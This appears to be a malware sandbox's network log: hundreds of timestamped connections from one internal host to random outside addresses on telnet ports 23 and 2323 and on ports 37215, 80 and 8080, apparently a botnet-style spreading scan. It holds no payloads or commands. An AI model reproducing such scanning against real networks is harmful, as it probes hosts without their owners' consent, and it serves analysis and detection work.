Mar 4, 2024 15:05:34.347109079 CET	47577	8080	192.168.2.13	62.84.96.245
Mar 4, 2024 15:05:34.381351948 CET	8080	47577	31.193.187.122	192.168.2.13
Mar 4, 2024 15:05:34.402429104 CET	23	50393	95.161.218.5	192.168.2.13
Mar 4, 2024 15:05:34.411827087 CET	8080	47577	31.207.167.56	192.168.2.13
Mar 4, 2024 15:05:34.426754951 CET	8080	47577	85.110.242.228	192.168.2.13
Mar 4, 2024 15:05:34.484437943 CET	23	50393	163.18.83.252	192.168.2.13
Mar 4, 2024 15:05:34.484590054 CET	50393	23	192.168.2.13	163.18.83.252
Mar 4, 2024 15:05:34.487128019 CET	23	50393	58.115.164.53	192.168.2.13
Mar 4, 2024 15:05:34.510366917 CET	37215	47833	197.232.155.233	192.168.2.13
Mar 4, 2024 15:05:34.515392065 CET	37215	47833	197.155.92.2	192.168.2.13
Mar 4, 2024 15:05:34.520221949 CET	2323	50393	220.255.87.224	192.168.2.13
Mar 4, 2024 15:05:34.643686056 CET	23	50393	113.3.151.127	192.168.2.13
Mar 4, 2024 15:05:34.661060095 CET	37215	47833	197.7.249.232	192.168.2.13
Mar 4, 2024 15:05:35.153378010 CET	47833	37215	192.168.2.13	197.117.123.233
Mar 4, 2024 15:05:35.153440952 CET	47833	37215	192.168.2.13	197.60.136.12
Mar 4, 2024 15:05:35.153439045 CET	47833	37215	192.168.2.13	197.195.156.209
Mar 4, 2024 15:05:35.153445005 CET	47833	37215	192.168.2.13	197.132.57.15
Mar 4, 2024 15:05:35.153445959 CET	47833	37215	192.168.2.13	197.81.188.129
Mar 4, 2024 15:05:35.153439045 CET	47833	37215	192.168.2.13	197.37.170.18
Mar 4, 2024 15:05:35.153466940 CET	47833	37215	192.168.2.13	197.234.41.181
Mar 4, 2024 15:05:35.153510094 CET	47833	37215	192.168.2.13	197.76.42.170
Mar 4, 2024 15:05:35.153525114 CET	47833	37215	192.168.2.13	197.108.19.15
Mar 4, 2024 15:05:35.153537035 CET	47833	37215	192.168.2.13	197.32.221.225
Mar 4, 2024 15:05:35.153538942 CET	47833	37215	192.168.2.13	197.15.102.53
Mar 4, 2024 15:05:35.153559923 CET	47833	37215	192.168.2.13	197.8.159.198
Mar 4, 2024 15:05:35.153565884 CET	47833	37215	192.168.2.13	197.24.90.78
Mar 4, 2024 15:05:35.153565884 CET	47833	37215	192.168.2.13	197.17.13.7
Mar 4, 2024 15:05:35.153608084 CET	47833	37215	192.168.2.13	197.162.105.72
Mar 4, 2024 15:05:35.153608084 CET	47833	37215	192.168.2.13	197.111.94.241
Mar 4, 2024 15:05:35.153623104 CET	47833	37215	192.168.2.13	197.93.129.203
Mar 4, 2024 15:05:35.153644085 CET	47833	37215	192.168.2.13	197.18.238.211
Mar 4, 2024 15:05:35.153650045 CET	47833	37215	192.168.2.13	197.71.34.36
Mar 4, 2024 15:05:35.153678894 CET	47833	37215	192.168.2.13	197.43.60.37
Mar 4, 2024 15:05:35.153692007 CET	47833	37215	192.168.2.13	197.55.140.128
Mar 4, 2024 15:05:35.153709888 CET	47833	37215	192.168.2.13	197.90.108.160
Mar 4, 2024 15:05:35.153726101 CET	47833	37215	192.168.2.13	197.109.214.187
Mar 4, 2024 15:05:35.153739929 CET	47833	37215	192.168.2.13	197.75.115.221
Mar 4, 2024 15:05:35.153748035 CET	47833	37215	192.168.2.13	197.69.108.180
Mar 4, 2024 15:05:35.153755903 CET	47833	37215	192.168.2.13	197.11.138.175
Mar 4, 2024 15:05:35.153759956 CET	47833	37215	192.168.2.13	197.212.165.38
Mar 4, 2024 15:05:35.153764009 CET	47833	37215	192.168.2.13	197.131.135.13
Mar 4, 2024 15:05:35.153794050 CET	47833	37215	192.168.2.13	197.193.105.111
Mar 4, 2024 15:05:35.153812885 CET	47833	37215	192.168.2.13	197.239.47.228
Mar 4, 2024 15:05:35.153812885 CET	47833	37215	192.168.2.13	197.23.173.139
Mar 4, 2024 15:05:35.153830051 CET	47833	37215	192.168.2.13	197.0.137.56
Mar 4, 2024 15:05:35.153832912 CET	47833	37215	192.168.2.13	197.110.166.115
Mar 4, 2024 15:05:35.153855085 CET	47833	37215	192.168.2.13	197.92.250.79
Mar 4, 2024 15:05:35.153857946 CET	47833	37215	192.168.2.13	197.24.222.8
Mar 4, 2024 15:05:35.153901100 CET	47833	37215	192.168.2.13	197.188.196.116
Mar 4, 2024 15:05:35.153919935 CET	47833	37215	192.168.2.13	197.113.44.212
Mar 4, 2024 15:05:35.153922081 CET	47833	37215	192.168.2.13	197.15.108.167
Mar 4, 2024 15:05:35.153923035 CET	47833	37215	192.168.2.13	197.202.190.25
Mar 4, 2024 15:05:35.153939962 CET	47833	37215	192.168.2.13	197.118.249.102
Mar 4, 2024 15:05:35.153951883 CET	47833	37215	192.168.2.13	197.49.124.159
Mar 4, 2024 15:05:35.153966904 CET	47833	37215	192.168.2.13	197.193.188.144
Mar 4, 2024 15:05:35.154000998 CET	47833	37215	192.168.2.13	197.177.77.64
Mar 4, 2024 15:05:35.154011965 CET	47833	37215	192.168.2.13	197.115.99.227
Mar 4, 2024 15:05:35.154025078 CET	47833	37215	192.168.2.13	197.120.214.215
Mar 4, 2024 15:05:35.154042006 CET	47833	37215	192.168.2.13	197.104.37.175
Mar 4, 2024 15:05:35.154052019 CET	47833	37215	192.168.2.13	197.18.201.198
Mar 4, 2024 15:05:35.154090881 CET	47833	37215	192.168.2.13	197.62.24.164
Mar 4, 2024 15:05:35.154098034 CET	47833	37215	192.168.2.13	197.50.247.120
Mar 4, 2024 15:05:35.154112101 CET	47833	37215	192.168.2.13	197.36.209.228
Mar 4, 2024 15:05:35.154122114 CET	47833	37215	192.168.2.13	197.180.28.194
Mar 4, 2024 15:05:35.154133081 CET	47833	37215	192.168.2.13	197.77.234.239
Mar 4, 2024 15:05:35.154148102 CET	47833	37215	192.168.2.13	197.46.105.187
Mar 4, 2024 15:05:35.154186964 CET	47833	37215	192.168.2.13	197.24.65.75
Mar 4, 2024 15:05:35.154205084 CET	47833	37215	192.168.2.13	197.173.129.31
Mar 4, 2024 15:05:35.154216051 CET	47833	37215	192.168.2.13	197.82.193.138
Mar 4, 2024 15:05:35.154230118 CET	47833	37215	192.168.2.13	197.101.73.89
Mar 4, 2024 15:05:35.154242039 CET	47833	37215	192.168.2.13	197.121.157.27
Mar 4, 2024 15:05:35.154295921 CET	47833	37215	192.168.2.13	197.225.2.7
Mar 4, 2024 15:05:35.154299974 CET	47833	37215	192.168.2.13	197.214.98.89
Mar 4, 2024 15:05:35.154309988 CET	47833	37215	192.168.2.13	197.249.186.137
Mar 4, 2024 15:05:35.154324055 CET	47833	37215	192.168.2.13	197.95.133.36
Mar 4, 2024 15:05:35.154325962 CET	47833	37215	192.168.2.13	197.103.234.197
Mar 4, 2024 15:05:35.154335022 CET	47833	37215	192.168.2.13	197.157.211.163
Mar 4, 2024 15:05:35.154360056 CET	47833	37215	192.168.2.13	197.126.32.145
Mar 4, 2024 15:05:35.154397011 CET	47833	37215	192.168.2.13	197.135.73.11
Mar 4, 2024 15:05:35.154397011 CET	47833	37215	192.168.2.13	197.207.32.179
Mar 4, 2024 15:05:35.154414892 CET	47833	37215	192.168.2.13	197.227.62.138
Mar 4, 2024 15:05:35.154426098 CET	47833	37215	192.168.2.13	197.228.41.38
Mar 4, 2024 15:05:35.154437065 CET	47833	37215	192.168.2.13	197.118.150.197
Mar 4, 2024 15:05:35.154445887 CET	47833	37215	192.168.2.13	197.130.143.3
Mar 4, 2024 15:05:35.154493093 CET	47833	37215	192.168.2.13	197.26.235.205
Mar 4, 2024 15:05:35.154505014 CET	47833	37215	192.168.2.13	197.128.74.120
Mar 4, 2024 15:05:35.154510975 CET	47833	37215	192.168.2.13	197.251.131.88
Mar 4, 2024 15:05:35.154536963 CET	47833	37215	192.168.2.13	197.23.3.104
Mar 4, 2024 15:05:35.154546022 CET	47833	37215	192.168.2.13	197.127.251.88
Mar 4, 2024 15:05:35.154578924 CET	47833	37215	192.168.2.13	197.136.90.107
Mar 4, 2024 15:05:35.154596090 CET	47833	37215	192.168.2.13	197.56.201.206
Mar 4, 2024 15:05:35.154608965 CET	47833	37215	192.168.2.13	197.197.87.65
Mar 4, 2024 15:05:35.154613018 CET	47833	37215	192.168.2.13	197.39.253.243
Mar 4, 2024 15:05:35.154625893 CET	47833	37215	192.168.2.13	197.203.10.24
Mar 4, 2024 15:05:35.154634953 CET	47833	37215	192.168.2.13	197.184.134.122
Mar 4, 2024 15:05:35.154674053 CET	47833	37215	192.168.2.13	197.207.106.139
Mar 4, 2024 15:05:35.154675007 CET	47833	37215	192.168.2.13	197.98.224.158
Mar 4, 2024 15:05:35.154696941 CET	47833	37215	192.168.2.13	197.112.103.60
Mar 4, 2024 15:05:35.154707909 CET	47833	37215	192.168.2.13	197.183.226.35
Mar 4, 2024 15:05:35.154712915 CET	47833	37215	192.168.2.13	197.186.17.253
Mar 4, 2024 15:05:35.154726982 CET	47833	37215	192.168.2.13	197.47.158.25
Mar 4, 2024 15:05:35.154730082 CET	47833	37215	192.168.2.13	197.131.187.64
Mar 4, 2024 15:05:35.154771090 CET	47833	37215	192.168.2.13	197.5.132.14
Mar 4, 2024 15:05:35.154779911 CET	47833	37215	192.168.2.13	197.242.35.247
Mar 4, 2024 15:05:35.154795885 CET	47833	37215	192.168.2.13	197.82.156.91
Mar 4, 2024 15:05:35.154808998 CET	47833	37215	192.168.2.13	197.19.41.19
Mar 4, 2024 15:05:35.154824972 CET	47833	37215	192.168.2.13	197.56.109.59
Mar 4, 2024 15:05:35.154828072 CET	47833	37215	192.168.2.13	197.14.112.35
Mar 4, 2024 15:05:35.154865026 CET	47833	37215	192.168.2.13	197.241.76.137
Mar 4, 2024 15:05:35.154877901 CET	47833	37215	192.168.2.13	197.236.233.168
Mar 4, 2024 15:05:35.154894114 CET	47833	37215	192.168.2.13	197.44.91.55
Mar 4, 2024 15:05:35.154903889 CET	47833	37215	192.168.2.13	197.89.247.167
Mar 4, 2024 15:05:35.154920101 CET	47833	37215	192.168.2.13	197.146.122.164
Mar 4, 2024 15:05:35.154932022 CET	47833	37215	192.168.2.13	197.206.109.214
Mar 4, 2024 15:05:35.154963970 CET	47833	37215	192.168.2.13	197.11.205.163
Mar 4, 2024 15:05:35.154973030 CET	47833	37215	192.168.2.13	197.26.24.142
Mar 4, 2024 15:05:35.154990911 CET	47833	37215	192.168.2.13	197.43.118.62
Mar 4, 2024 15:05:35.154994965 CET	47833	37215	192.168.2.13	197.43.45.163
Mar 4, 2024 15:05:35.155009031 CET	47833	37215	192.168.2.13	197.218.54.12
Mar 4, 2024 15:05:35.155020952 CET	47833	37215	192.168.2.13	197.197.144.165
Mar 4, 2024 15:05:35.155061007 CET	47833	37215	192.168.2.13	197.6.177.75
Mar 4, 2024 15:05:35.155075073 CET	47833	37215	192.168.2.13	197.209.51.19
Mar 4, 2024 15:05:35.155077934 CET	47833	37215	192.168.2.13	197.79.172.244
Mar 4, 2024 15:05:35.155114889 CET	47833	37215	192.168.2.13	197.50.220.101
Mar 4, 2024 15:05:35.155114889 CET	47833	37215	192.168.2.13	197.33.198.189
Mar 4, 2024 15:05:35.155158997 CET	47833	37215	192.168.2.13	197.154.64.162
Mar 4, 2024 15:05:35.155169010 CET	47833	37215	192.168.2.13	197.71.166.227
Mar 4, 2024 15:05:35.155189037 CET	47833	37215	192.168.2.13	197.138.102.123
Mar 4, 2024 15:05:35.155194998 CET	47833	37215	192.168.2.13	197.93.37.148
Mar 4, 2024 15:05:35.155205011 CET	47833	37215	192.168.2.13	197.41.52.55
Mar 4, 2024 15:05:35.155219078 CET	47833	37215	192.168.2.13	197.75.60.246
Mar 4, 2024 15:05:35.155263901 CET	47833	37215	192.168.2.13	197.228.75.117
Mar 4, 2024 15:05:35.155272961 CET	47833	37215	192.168.2.13	197.246.54.160
Mar 4, 2024 15:05:35.155282974 CET	47833	37215	192.168.2.13	197.198.231.28
Mar 4, 2024 15:05:35.155287027 CET	47833	37215	192.168.2.13	197.63.189.208
Mar 4, 2024 15:05:35.155299902 CET	47833	37215	192.168.2.13	197.245.114.167
Mar 4, 2024 15:05:35.155309916 CET	47833	37215	192.168.2.13	197.201.33.43
Mar 4, 2024 15:05:35.155322075 CET	47833	37215	192.168.2.13	197.217.27.174
Mar 4, 2024 15:05:35.155359030 CET	47833	37215	192.168.2.13	197.224.187.236
Mar 4, 2024 15:05:35.155380011 CET	47833	37215	192.168.2.13	197.137.207.132
Mar 4, 2024 15:05:35.155380011 CET	47833	37215	192.168.2.13	197.219.60.97
Mar 4, 2024 15:05:35.155400991 CET	47833	37215	192.168.2.13	197.185.41.86
Mar 4, 2024 15:05:35.155431032 CET	47833	37215	192.168.2.13	197.204.136.39
Mar 4, 2024 15:05:35.155443907 CET	47833	37215	192.168.2.13	197.55.237.24
Mar 4, 2024 15:05:35.155458927 CET	47833	37215	192.168.2.13	197.113.87.109
Mar 4, 2024 15:05:35.155466080 CET	47833	37215	192.168.2.13	197.112.204.166
Mar 4, 2024 15:05:35.155489922 CET	47833	37215	192.168.2.13	197.110.254.154
Mar 4, 2024 15:05:35.155497074 CET	47833	37215	192.168.2.13	197.207.116.199
Mar 4, 2024 15:05:35.155499935 CET	47833	37215	192.168.2.13	197.87.206.16
Mar 4, 2024 15:05:35.155499935 CET	47833	37215	192.168.2.13	197.175.183.138
Mar 4, 2024 15:05:35.155519009 CET	47833	37215	192.168.2.13	197.172.250.156
Mar 4, 2024 15:05:35.155555010 CET	47833	37215	192.168.2.13	197.103.235.214
Mar 4, 2024 15:05:35.155558109 CET	47833	37215	192.168.2.13	197.209.136.60
Mar 4, 2024 15:05:35.155572891 CET	47833	37215	192.168.2.13	197.229.224.251
Mar 4, 2024 15:05:35.155586958 CET	47833	37215	192.168.2.13	197.202.99.2
Mar 4, 2024 15:05:35.155591011 CET	47833	37215	192.168.2.13	197.117.16.100
Mar 4, 2024 15:05:35.155611992 CET	47833	37215	192.168.2.13	197.169.48.192
Mar 4, 2024 15:05:35.155641079 CET	47833	37215	192.168.2.13	197.122.110.172
Mar 4, 2024 15:05:35.155648947 CET	47833	37215	192.168.2.13	197.244.240.210
Mar 4, 2024 15:05:35.155663967 CET	47833	37215	192.168.2.13	197.232.150.236
Mar 4, 2024 15:05:35.155673981 CET	47833	37215	192.168.2.13	197.155.26.79
Mar 4, 2024 15:05:35.155693054 CET	47833	37215	192.168.2.13	197.50.58.181
Mar 4, 2024 15:05:35.155694962 CET	47833	37215	192.168.2.13	197.128.208.158
Mar 4, 2024 15:05:35.155736923 CET	47833	37215	192.168.2.13	197.93.195.155
Mar 4, 2024 15:05:35.155749083 CET	47833	37215	192.168.2.13	197.167.179.228
Mar 4, 2024 15:05:35.155757904 CET	47833	37215	192.168.2.13	197.198.174.131
Mar 4, 2024 15:05:35.155762911 CET	47833	37215	192.168.2.13	197.19.65.102
Mar 4, 2024 15:05:35.155777931 CET	47833	37215	192.168.2.13	197.40.4.139
Mar 4, 2024 15:05:35.155791998 CET	47833	37215	192.168.2.13	197.24.100.108
Mar 4, 2024 15:05:35.155833006 CET	47833	37215	192.168.2.13	197.212.88.211
Mar 4, 2024 15:05:35.155833006 CET	47833	37215	192.168.2.13	197.145.45.50
Mar 4, 2024 15:05:35.155848026 CET	47833	37215	192.168.2.13	197.217.2.223
Mar 4, 2024 15:05:35.155858040 CET	47833	37215	192.168.2.13	197.38.61.230
Mar 4, 2024 15:05:35.168179989 CET	50393	2323	192.168.2.13	119.36.46.219
Mar 4, 2024 15:05:35.168190002 CET	50393	23	192.168.2.13	143.132.173.56
Mar 4, 2024 15:05:35.168195963 CET	50393	23	192.168.2.13	167.93.136.220
Mar 4, 2024 15:05:35.168206930 CET	50393	23	192.168.2.13	173.20.61.101
Mar 4, 2024 15:05:35.168211937 CET	50393	23	192.168.2.13	79.121.54.68
Mar 4, 2024 15:05:35.168241978 CET	50393	23	192.168.2.13	153.46.184.174
Mar 4, 2024 15:05:35.168241978 CET	50393	23	192.168.2.13	103.19.239.63
Mar 4, 2024 15:05:35.168245077 CET	50393	23	192.168.2.13	223.133.255.151
Mar 4, 2024 15:05:35.168250084 CET	50393	23	192.168.2.13	164.126.48.234
Mar 4, 2024 15:05:35.168307066 CET	50393	23	192.168.2.13	34.190.246.242
Mar 4, 2024 15:05:35.168308020 CET	50393	23	192.168.2.13	52.204.186.189
Mar 4, 2024 15:05:35.168308020 CET	50393	23	192.168.2.13	167.144.226.52
Mar 4, 2024 15:05:35.168313026 CET	50393	23	192.168.2.13	189.88.166.96
Mar 4, 2024 15:05:35.168359041 CET	50393	23	192.168.2.13	132.210.175.166
Mar 4, 2024 15:05:35.168359041 CET	50393	2323	192.168.2.13	112.190.189.15
Mar 4, 2024 15:05:35.168359995 CET	50393	23	192.168.2.13	179.187.224.119
Mar 4, 2024 15:05:35.168359995 CET	50393	23	192.168.2.13	47.85.22.190
Mar 4, 2024 15:05:35.168359041 CET	50393	23	192.168.2.13	96.153.8.149
Mar 4, 2024 15:05:35.168359995 CET	50393	23	192.168.2.13	37.246.114.47
Mar 4, 2024 15:05:35.168359041 CET	50393	23	192.168.2.13	65.128.164.1
Mar 4, 2024 15:05:35.168359995 CET	50393	23	192.168.2.13	72.228.158.177
Mar 4, 2024 15:05:35.168359041 CET	50393	2323	192.168.2.13	218.34.228.136
Mar 4, 2024 15:05:35.168359041 CET	50393	23	192.168.2.13	152.6.62.180
Mar 4, 2024 15:05:35.168363094 CET	50393	2323	192.168.2.13	164.209.179.224
Mar 4, 2024 15:05:35.168363094 CET	50393	23	192.168.2.13	212.50.159.218
Mar 4, 2024 15:05:35.168363094 CET	50393	23	192.168.2.13	105.62.214.253
Mar 4, 2024 15:05:35.168363094 CET	50393	23	192.168.2.13	24.90.212.144
Mar 4, 2024 15:05:35.168365002 CET	50393	23	192.168.2.13	220.246.205.251
Mar 4, 2024 15:05:35.168370008 CET	50393	23	192.168.2.13	58.74.215.14
Mar 4, 2024 15:05:35.168370008 CET	50393	23	192.168.2.13	89.218.103.179
Mar 4, 2024 15:05:35.168414116 CET	50393	23	192.168.2.13	172.212.232.2
Mar 4, 2024 15:05:35.168418884 CET	50393	23	192.168.2.13	189.173.45.12
Mar 4, 2024 15:05:35.168414116 CET	50393	23	192.168.2.13	172.74.54.59
Mar 4, 2024 15:05:35.168418884 CET	50393	23	192.168.2.13	18.64.247.90
Mar 4, 2024 15:05:35.168422937 CET	50393	2323	192.168.2.13	53.45.53.190
Mar 4, 2024 15:05:35.168422937 CET	50393	23	192.168.2.13	220.39.120.247
Mar 4, 2024 15:05:35.168422937 CET	50393	23	192.168.2.13	160.134.23.245
Mar 4, 2024 15:05:35.168422937 CET	50393	23	192.168.2.13	124.165.155.98
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	176.252.160.46
Mar 4, 2024 15:05:35.168422937 CET	50393	23	192.168.2.13	168.133.217.199
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	39.100.228.232
Mar 4, 2024 15:05:35.168415070 CET	50393	23	192.168.2.13	137.64.43.180
Mar 4, 2024 15:05:35.168422937 CET	50393	23	192.168.2.13	188.100.91.155
Mar 4, 2024 15:05:35.168427944 CET	50393	23	192.168.2.13	156.130.205.251
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	23.94.184.221
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	98.239.200.91
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	203.142.223.31
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	75.251.245.95
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	173.53.192.194
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	170.59.149.205
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	5.135.148.250
Mar 4, 2024 15:05:35.168427944 CET	50393	23	192.168.2.13	206.118.24.4
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	35.66.191.134
Mar 4, 2024 15:05:35.168415070 CET	50393	23	192.168.2.13	207.148.8.238
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	24.216.144.212
Mar 4, 2024 15:05:35.168427944 CET	50393	2323	192.168.2.13	195.195.217.160
Mar 4, 2024 15:05:35.168415070 CET	50393	23	192.168.2.13	83.90.187.59
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	90.83.244.181
Mar 4, 2024 15:05:35.168425083 CET	50393	23	192.168.2.13	106.72.197.240
Mar 4, 2024 15:05:35.168503046 CET	50393	23	192.168.2.13	167.195.182.133
Mar 4, 2024 15:05:35.168503046 CET	50393	23	192.168.2.13	74.171.78.68
Mar 4, 2024 15:05:35.168504000 CET	50393	23	192.168.2.13	50.66.67.91
Mar 4, 2024 15:05:35.168503046 CET	50393	23	192.168.2.13	176.122.179.11
Mar 4, 2024 15:05:35.168504953 CET	50393	23	192.168.2.13	67.30.110.217
Mar 4, 2024 15:05:35.168503046 CET	50393	23	192.168.2.13	23.88.92.34
Mar 4, 2024 15:05:35.168504953 CET	50393	23	192.168.2.13	32.15.202.183
Mar 4, 2024 15:05:35.168504000 CET	48089	80	192.168.2.13	95.22.157.255
Mar 4, 2024 15:05:35.168508053 CET	50393	23	192.168.2.13	212.82.70.222
Mar 4, 2024 15:05:35.168509007 CET	48089	80	192.168.2.13	95.135.120.19
Mar 4, 2024 15:05:35.168508053 CET	50393	23	192.168.2.13	223.27.165.38
Mar 4, 2024 15:05:35.168509007 CET	50393	23	192.168.2.13	64.49.148.255
Mar 4, 2024 15:05:35.168509007 CET	48089	80	192.168.2.13	95.152.1.233
Mar 4, 2024 15:05:35.168509007 CET	50393	2323	192.168.2.13	140.14.114.82
Mar 4, 2024 15:05:35.168508053 CET	50393	23	192.168.2.13	202.6.99.121
Mar 4, 2024 15:05:35.168509007 CET	48089	80	192.168.2.13	95.106.52.197
Mar 4, 2024 15:05:35.168508053 CET	50393	23	192.168.2.13	138.250.55.150
Mar 4, 2024 15:05:35.168509007 CET	50393	23	192.168.2.13	94.9.150.72
Mar 4, 2024 15:05:35.168504953 CET	48089	80	192.168.2.13	95.100.120.31
Mar 4, 2024 15:05:35.168509007 CET	50393	23	192.168.2.13	78.8.133.41
Mar 4, 2024 15:05:35.168509007 CET	50393	23	192.168.2.13	219.154.172.66
Mar 4, 2024 15:05:35.168514967 CET	50393	23	192.168.2.13	183.11.224.245
Mar 4, 2024 15:05:35.168508053 CET	50393	23	192.168.2.13	145.154.10.139
Mar 4, 2024 15:05:35.168509007 CET	50393	23	192.168.2.13	80.13.117.2
Mar 4, 2024 15:05:35.168508053 CET	48089	80	192.168.2.13	95.170.21.150
Mar 4, 2024 15:05:35.168514967 CET	50393	23	192.168.2.13	25.36.246.165
Mar 4, 2024 15:05:35.168508053 CET	50393	23	192.168.2.13	180.70.150.192
Mar 4, 2024 15:05:35.168508053 CET	48089	80	192.168.2.13	95.185.140.251
Mar 4, 2024 15:05:35.168508053 CET	48089	80	192.168.2.13	95.158.239.76
Mar 4, 2024 15:05:35.168514967 CET	50393	23	192.168.2.13	50.58.73.234
Mar 4, 2024 15:05:35.168508053 CET	48089	80	192.168.2.13	95.6.228.54
Mar 4, 2024 15:05:35.168514967 CET	50393	2323	192.168.2.13	37.78.125.62
Mar 4, 2024 15:05:35.168514967 CET	50393	23	192.168.2.13	222.238.115.44
Mar 4, 2024 15:05:35.168514967 CET	50393	2323	192.168.2.13	171.81.249.60
Mar 4, 2024 15:05:35.168514967 CET	48089	80	192.168.2.13	95.228.39.199
Mar 4, 2024 15:05:35.168514967 CET	50393	23	192.168.2.13	90.161.139.246
Mar 4, 2024 15:05:35.168576002 CET	50393	23	192.168.2.13	202.10.175.243
Mar 4, 2024 15:05:35.168576002 CET	50393	23	192.168.2.13	194.251.121.215
Mar 4, 2024 15:05:35.168576002 CET	48089	80	192.168.2.13	95.144.137.164
Mar 4, 2024 15:05:35.168576002 CET	50393	23	192.168.2.13	90.54.55.154
Mar 4, 2024 15:05:35.168576002 CET	50393	23	192.168.2.13	111.240.230.109
Mar 4, 2024 15:05:35.168612957 CET	50393	23	192.168.2.13	210.81.116.223
Mar 4, 2024 15:05:35.168613911 CET	50393	23	192.168.2.13	111.75.233.14
Mar 4, 2024 15:05:35.168612957 CET	50393	23	192.168.2.13	147.110.78.119
Mar 4, 2024 15:05:35.168613911 CET	50393	23	192.168.2.13	188.221.159.126
Mar 4, 2024 15:05:35.168616056 CET	50393	23	192.168.2.13	124.14.63.22
Mar 4, 2024 15:05:35.168613911 CET	50393	23	192.168.2.13	69.66.209.121
Mar 4, 2024 15:05:35.168613911 CET	48089	80	192.168.2.13	95.227.216.50
Mar 4, 2024 15:05:35.168613911 CET	50393	23	192.168.2.13	145.163.132.52
Mar 4, 2024 15:05:35.168613911 CET	50393	23	192.168.2.13	86.107.121.194
Mar 4, 2024 15:05:35.168617964 CET	48089	80	192.168.2.13	95.186.233.45
Mar 4, 2024 15:05:35.168613911 CET	50393	23	192.168.2.13	52.227.199.217
Mar 4, 2024 15:05:35.168622017 CET	50393	23	192.168.2.13	23.249.120.227
Mar 4, 2024 15:05:35.168613911 CET	48089	80	192.168.2.13	95.108.20.139
Mar 4, 2024 15:05:35.168617010 CET	48089	80	192.168.2.13	95.130.108.138
Mar 4, 2024 15:05:35.168616056 CET	48089	80	192.168.2.13	95.100.100.53
Mar 4, 2024 15:05:35.168617964 CET	50393	23	192.168.2.13	114.211.45.109
Mar 4, 2024 15:05:35.168622017 CET	50393	23	192.168.2.13	25.240.207.243
Mar 4, 2024 15:05:35.168617964 CET	50393	2323	192.168.2.13	147.87.129.42
Mar 4, 2024 15:05:35.168613911 CET	48089	80	192.168.2.13	95.176.199.155
Mar 4, 2024 15:05:35.168617964 CET	50393	23	192.168.2.13	163.201.214.98
Mar 4, 2024 15:05:35.168616056 CET	50393	2323	192.168.2.13	66.26.229.60
Mar 4, 2024 15:05:35.168617964 CET	48089	80	192.168.2.13	95.239.129.169
Mar 4, 2024 15:05:35.168617964 CET	48089	80	192.168.2.13	95.92.73.165
Mar 4, 2024 15:05:35.168613911 CET	50393	23	192.168.2.13	216.155.3.185
Mar 4, 2024 15:05:35.168612957 CET	50393	23	192.168.2.13	111.247.64.113
Mar 4, 2024 15:05:35.168617964 CET	48089	80	192.168.2.13	95.250.113.73
Mar 4, 2024 15:05:35.168616056 CET	50393	23	192.168.2.13	53.184.244.4
Mar 4, 2024 15:05:35.168612957 CET	50393	23	192.168.2.13	186.25.127.51
Mar 4, 2024 15:05:35.168617964 CET	50393	23	192.168.2.13	143.199.112.227
Mar 4, 2024 15:05:35.168612957 CET	48089	80	192.168.2.13	95.85.165.0
Mar 4, 2024 15:05:35.168617964 CET	50393	23	192.168.2.13	161.37.176.176
Mar 4, 2024 15:05:35.168616056 CET	50393	23	192.168.2.13	130.209.218.34
Mar 4, 2024 15:05:35.168612957 CET	50393	23	192.168.2.13	180.198.184.119
Mar 4, 2024 15:05:35.168622017 CET	50393	23	192.168.2.13	161.230.137.101
Mar 4, 2024 15:05:35.168613911 CET	50393	23	192.168.2.13	14.188.86.110
Mar 4, 2024 15:05:35.168622017 CET	50393	23	192.168.2.13	77.244.44.219
Mar 4, 2024 15:05:35.168613911 CET	50393	23	192.168.2.13	81.221.215.62
Mar 4, 2024 15:05:35.168617964 CET	48089	80	192.168.2.13	95.43.191.64
Mar 4, 2024 15:05:35.168617964 CET	50393	23	192.168.2.13	14.174.213.36
Mar 4, 2024 15:05:35.168616056 CET	50393	23	192.168.2.13	175.36.248.125
Mar 4, 2024 15:05:35.168612957 CET	50393	23	192.168.2.13	102.107.74.70
Mar 4, 2024 15:05:35.168616056 CET	50393	23	192.168.2.13	8.77.227.105
Mar 4, 2024 15:05:35.168612957 CET	50393	23	192.168.2.13	61.32.16.134
Mar 4, 2024 15:05:35.168613911 CET	48089	80	192.168.2.13	95.3.154.67
Mar 4, 2024 15:05:35.168622017 CET	50393	23	192.168.2.13	212.51.185.30
Mar 4, 2024 15:05:35.168616056 CET	50393	23	192.168.2.13	123.140.225.189
Mar 4, 2024 15:05:35.168622017 CET	48089	80	192.168.2.13	95.189.43.188
Mar 4, 2024 15:05:35.168613911 CET	50393	23	192.168.2.13	136.0.144.130
Mar 4, 2024 15:05:35.168617964 CET	50393	2323	192.168.2.13	145.6.74.204
Mar 4, 2024 15:05:35.168622017 CET	50393	23	192.168.2.13	109.119.250.15
Mar 4, 2024 15:05:35.168618917 CET	50393	23	192.168.2.13	12.97.242.31
Mar 4, 2024 15:05:35.168622017 CET	48089	80	192.168.2.13	95.149.99.132
Mar 4, 2024 15:05:35.168618917 CET	50393	2323	192.168.2.13	19.157.205.61
Mar 4, 2024 15:05:35.168618917 CET	50393	23	192.168.2.13	150.81.214.245
Mar 4, 2024 15:05:35.168732882 CET	50393	23	192.168.2.13	9.117.236.120
Mar 4, 2024 15:05:35.168734074 CET	48089	80	192.168.2.13	95.199.93.39
Mar 4, 2024 15:05:35.168734074 CET	48089	80	192.168.2.13	95.253.224.149
Mar 4, 2024 15:05:35.168734074 CET	48089	80	192.168.2.13	95.108.190.22
Mar 4, 2024 15:05:35.168734074 CET	50393	23	192.168.2.13	173.48.89.132
Mar 4, 2024 15:05:35.168734074 CET	48089	80	192.168.2.13	95.6.51.239
Mar 4, 2024 15:05:35.168734074 CET	48089	80	192.168.2.13	95.60.87.227
Mar 4, 2024 15:05:35.168734074 CET	50393	23	192.168.2.13	78.21.207.161
Mar 4, 2024 15:05:35.168746948 CET	50393	23	192.168.2.13	124.13.236.40
